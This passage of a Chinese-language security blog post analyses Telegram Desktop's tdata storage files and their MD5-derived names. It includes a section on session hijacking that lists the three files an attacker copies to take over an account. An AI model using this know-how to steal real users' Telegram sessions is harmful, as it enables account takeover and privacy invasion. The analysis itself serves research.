0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"># D877F783D5D3EF8Cs</strong></span></p><p cid="n71" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8Cs</code></span><span md-inline="plain" style="box-sizing: border-box;">文件主要存储了用户的userId，以及与telegram云端进行数据通信时所使用到的加密密钥。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="83" data-backw="932" data-galleryid="" data-s="300,640" data-w="1080" data-type="png" style="width: 100%;height: auto;" data-ratio="0.08888888888888889" src="https://wechat2rss.xlab.app/img-proxy/?k=2740f9ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzs0rRdHl0rwyhrgy8l0RpW0G5clGSfrxVBCusibictibCWjpiavMhYxBO8w%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p></section></section><section style="margin-top: 15px;border-top: 1px dashed rgb(0, 0, 0);padding-top: 15px;line-height: 1.6em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;"><p cid="n73" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"># D877F783D5D3EF8C/maps</strong></span></p><p cid="n74" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">maps</code></span><span md-inline="plain" style="box-sizing: border-box;">文件中</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">lskSelfSerialized</code></span><span md-inline="plain" style="box-sizing: border-box;">字段存储了用户的基本信息，包括用户id，头像，姓名，注册电话，上次在线时间等信息。而其他字段主要存储的是一些配置或者资源文件的文件名，并且与文章开头列举的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8C</code></span><span md-inline="plain" style="box-sizing: border-box;">文件夹下的文件一一对应。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="280" data-backw="932" data-galleryid="" data-ratio="0.30092592592592593" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ce5c4d0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzIN8Ipkq8aHWibx0r3HBh5LTzicRdDOwyCF1Rv8E4zlnp67dZyRK773Mg%2F640%3Fwx_fmt%3Dpng"/></p></section></section><section style="margin-top: 15px;border-top: 1px dashed rgb(0, 0, 0);padding-top: 15px;line-height: 1.6em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;"><p cid="n76" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"># D877F783D5D3EF8C/configs</strong></span></p><p cid="n77" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">configs</code></span><span md-inline="plain" style="box-sizing: border-box;">文件主要存储了用户聊天，与telegram云端进行通信时的一些基础配置，包括telegram云端的ip和端口，撤回消息的时长限制等配置信息。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="374" data-backw="932" data-galleryid="" data-ratio="0.40185185185185185" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fcc98ee1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdzVll1VQwcOWylHgG4iaVATexMDAQYAFJW7zrw5VGAhWKUb8icngnQV6Xw%2F640%3Fwx_fmt%3Dpng"/></p></section></section><section style="margin-top: 15px;border-top: 1px dashed rgb(0, 0, 0);padding-top: 15px;line-height: 1.6em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;"><p cid="n79" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"># 缓存文件</strong></span></p><p cid="n80" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">user_data</code></span><span md-inline="plain" style="box-sizing: border-box;">目录下的缓存文件（图片，语音，视频）大部分都可以通过解密和解析数据得到原始的文件，在这里就不赘述了。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="288" data-backw="932" data-galleryid="" data-ratio="0.30925925925925923" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7d1179b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddkGkiafodo0n5qdicVBclZdz35kxrUvkxcC55XmO2F2wvu8ib4shzz0QqVtgFPpVxhPiamZPM1Ycst1g%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section></section><section style="display: flex;margin-bottom: 8px;"><section style="box-sizing: border-box;width: 6px;height: 100%;background-color: rgb(239, 239, 239);border-right: 1px solid rgb(0, 0, 0);border-bottom: 1px solid rgb(0, 0, 0);overflow: hidden;"><br/></section></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="108591" data-color="#59c3f9"><section style="text-align: center;margin: 10px auto;"><section style="margin-left: 8px;"><section style="box-sizing: border-box;width: 100%;height: 6px;border-top: 1px solid rgb(0, 0, 0);border-right: 1px solid rgb(0, 0, 0);border-left: 1px solid rgb(0, 0, 0);border-bottom: none;background-color: rgb(239, 239, 239);overflow: hidden;" data-width="100%"><br/></section></section><section style="display: flex;"><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);flex: 1 1 0%;box-sizing: border-box;"><section style="background-image: linear-gradient(to right, rgb(173, 213, 255) 0%, rgb(245, 250, 255) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 5px 15px 5px 20px;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="font-size: 20px;letter-spacing: 1.5px;color: #000;"><strong data-brushtype="text">认证过程</strong></section><section style="box-sizing:border-box;width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;transform: rotate(12deg) translate(0px, 10px);-webkit-transform: rotate(12deg) translate(0px, 10px);-moz-transform: rotate(12deg) translate(0px, 10px);-ms-transform: rotate(12deg) translate(0px, 10px);-o-transform: rotate(12deg) translate(0px, 10px);"><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-ms-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><br/></section></section></section></section><section style="border-top: 1px solid rgb(0, 0, 0);padding: 20px 16px;text-align: left;box-sizing: border-box;"><section style="line-height: 1.6em;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;"><p cid="n83" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">telegram官网</span></span><span md-inline="plain" style="box-sizing: border-box;">很详细地介绍了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">Cloud Chat</code></span><span md-inline="plain" style="box-sizing: border-box;"> 和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">Secret Chat</code></span><span md-inline="plain" style="box-sizing: border-box;">的两种通信方式所使用的加密协议（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">mproto</code></span><span md-inline="plain" style="box-sizing: border-box;">），密钥交换，身份认证等过程，有兴趣的同学可以配合源码来阅读文档，在这里也不赘述了。</span></p><p cid="n84" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">这里讨论两个比较有意思的点：</span></p><ul class="list-paddingleft-2" cid="n85" mdtype="list" data-mark="*" style="padding-left: 30px;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><li><p cid="n87" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">telegram所使用的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">mproto</code></span><span md-inline="plain" style="box-sizing: border-box;">通信协议是telegram开发者自己实现的一套完整的安全通信协议，不依靠于其他公认的安全通信协议。</span></p></li><li><p cid="n89" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">telegram选择的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">AES-IGE</code></span><span md-inline="plain" style="box-sizing: border-box;">模式对文件和消息进行加密，这是一个十分古老的aes加密模式，而且相比于现在常用的加密模式，他并没有什么优势，因此基本上没有人使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">AES-IGE</code></span><span md-inline="plain" style="box-sizing: border-box;">的加密模式。</span></p><p cid="n90" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">这个加密模式在认证上还缺失一定的安全性，比如无法抵御</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">blockwise-adaptive CPA</code></span><span md-inline="plain" style="box-sizing: border-box;">攻击。telegram还专门写了</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">一大章节</span></span><span md-inline="plain" style="box-sizing: border-box;">的文字来说明在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">mproto</code></span><span md-inline="plain" style="box-sizing: border-box;">协议下使用这个模式是安全的（没有选择更换加密模式的原因，可能是为了前后兼容性吧）。</span></p><blockquote cid="n91" mdtype="blockquote" style="box-sizing: border-box;margin-top: 1rem;margin-bottom: 1rem;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);"><p cid="n92" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">在搜索资料的过程中，发现许多网友都质疑telegram使用这种加密模式，并在论坛上给官方提了很多“意见”。</span></p><p cid="n93" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">传送门 =&gt; </span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://news.ycombinator.com/item?id=6915741" target="_blank">https://news.ycombinator.com/item?id=6915741</a></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/telegramdesktop/tdesktop/issues" target="_blank">https://github.com/telegramdesktop/tdesktop/issues</a></span></p></blockquote></li></ul></section></section></section></section><section style="display: flex;margin-bottom: 8px;"><section style="box-sizing: border-box;width: 6px;height: 100%;background-color: rgb(239, 239, 239);border-right: 1px solid rgb(0, 0, 0);border-bottom: 1px solid rgb(0, 0, 0);overflow: hidden;"><br/></section></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="108591" data-color="#59c3f9"><section style="text-align: center;margin: 10px auto;"><section style="margin-left: 8px;"><section style="box-sizing: border-box;width: 100%;height: 6px;border-top: 1px solid rgb(0, 0, 0);border-right: 1px solid rgb(0, 0, 0);border-left: 1px solid rgb(0, 0, 0);border-bottom: none;background-color: rgb(239, 239, 239);overflow: hidden;" data-width="100%"><br/></section></section><section style="display: flex;"><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);flex: 1 1 0%;box-sizing: border-box;"><section style="background-image: linear-gradient(to right, rgb(89, 195, 249) 0%, rgb(148, 219, 255) 100%);background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 5px 15px 5px 20px;"><section style="display: flex;justify-content: space-between;align-items: center;"><section style="font-size: 20px;letter-spacing: 1.5px;color: #000;"><strong data-brushtype="text">session劫持</strong></section><section style="box-sizing:border-box;width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;transform: rotate(12deg) translate(0px, 10px);-webkit-transform: rotate(12deg) translate(0px, 10px);-moz-transform: rotate(12deg) translate(0px, 10px);-ms-transform: rotate(12deg) translate(0px, 10px);-o-transform: rotate(12deg) translate(0px, 10px);"><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);-ms-transform: rotate(45deg);-o-transform: rotate(45deg);"><br/></section><section style="box-sizing: border-box;width: 1px;height: 30px;background-color: rgb(255, 255, 255);overflow: hidden;transform: rotate(-45deg);-webkit-transform: rotate(-45deg);-moz-transform: rotate(-45deg);-ms-transform: rotate(-45deg);-o-transform: rotate(-45deg);"><br/></section></section></section></section><section style="border-top: 1px solid rgb(0, 0, 0);padding: 20px 16px;text-align: left;box-sizing: border-box;"><section style="line-height: 1.6em;"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;"><p cid="n95" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">telegram 不像 whatsapp，默认是支持多端登录的，这也是telegram能通过迁移tdata的方法来保持session的原因。这种特性对于攻击者来说，就变成了劫持session的最完美的前置条件。</span></p><p cid="n96" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">现在流传在网上的session劫持方法都是通过复制整个tdata文件夹进行session的劫持，但对于一个使用了较长时间的telegram来说，tdata的体积会变得十分庞大（MB，甚至GB的量级），这在实战的过程中会有很大的局限性。</span></p><p cid="n97" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">现在我们已经有解读大部分tdata文件的能力，因此可以选取最关键（保存session）的文件，减小拖取文件的体积，从而更方便于session的劫持。</span></p><p cid="n98" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">通过前面对文件的解密，以及一系列的尝试后，得出能够成功进行session劫持的关键文件有：</span></p><ul class="list-paddingleft-2" cid="n99" mdtype="list" data-mark="*" style="padding-left: 30px;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><li><p cid="n101" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">tdata/key_datas</span></p></li><li><p cid="n103" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">tdata/D877F783D5D3EF8Cs</span></p></li><li><p cid="n105" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">tdata/D877F783D5D3EF8C/map</span></p></li></ul><p cid="n106" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">原因如下：</span></p><p cid="n107" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">key_datas</code></span><span md-inline="plain" style="box-sizing: border-box;">保存了解密文件的密钥</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">localKey</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8Cs</code></span><span md-inline="plain" style="box-sizing: border-box;">保存了与云端通信的主密钥，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8C/map</code></span><span md-inline="plain" style="box-sizing: border-box;">保存了用户的基本信息。</span></p><p cid="n108" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">比较有意思的一点是，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">D877F783D5D3EF8Cs</code></span><span md-inline="plain" style="box-sizing: border-box;">这个文件是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">ToFilePart(substr(md5(&#34;data&#34;), 0, 16))</code></span><span md-inline="plain" style="box-sizing: border-box;">的结果，这也从侧面证明了这个文件存储了关键数据。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">In[163]</span>: import hashlib</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">In[164]</span>: md5 = hashlib.md5(&#39;data&#39;.encode(&#34;utf-8&#34;)).digest() </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">In[165]</span>: md5</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Out[165]</span>: b&#39;\x8dw\x7f8]=\xfe\xc8\x81] \xf7I`&amp;\xdc&#39;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">In[166]</span>: int.from_bytes(md5, &#39;little&#39;)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Out[166]</span>: 292629419324765554216674928803425777549</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">In[167]</span>: ToFilePart(292629419324765554216674928803425777549)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Out[167]</span>: &#39;D877F783D5D3EF8C&#39;</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Out[168]</span>: &#39;data    : D877F783D5D3EF8C -&gt; 8d777f385d3dfec8 (substr (md5_hex (&#34;data&#34;),    0, 16))&#39;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Out[169]</span>: &#39;data#2  : A7FDF864FBC10B77 -&gt; 7adf8f46bf1cb077 (substr (md5_hex (&#34;data#2&#34;),  0, 16))&#39;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Out[170]</span>: &#39;data#3  : F8806DD0C461824F -&gt; 8f08d60d4c1628f4 (substr (md5_hex (&#34;data#3&#34;),  0, 16))&#39;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Out[171]</span>: &#39;data#4  : C2B05980D9127787 -&gt; 2c0b95089d217778 (substr (md5_hex (&#34;data#4&#34;),  0, 16))&#39;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Out[172]</span>: &#39;data#5  : 0CA814316818D8F6 -&gt; c08a411386818d6f (substr (md5_hex (&#34;data#5&#34;),  0, 16))&#39;</span></code></pre></section><p cid="n108" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"></span><br/></p><p cid="n108" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><br/></p><h3 cid="n110" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"><strong>注意事项</strong></span></h3><p cid="n111" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">#1</strong></span></p><p cid="n112" mdtype="paragraph" style="vertical-align: inherit;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">有的情况下，一个telegram客户端可能登录着多个用户（不超过3个），所有用户的session文件依旧保存在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">tdata</code></span><span md-inline="plain" style="box-sizing: border-box;">下。telegram客户端会根据登录的次序进行编号，分别为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">data</code></span><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code 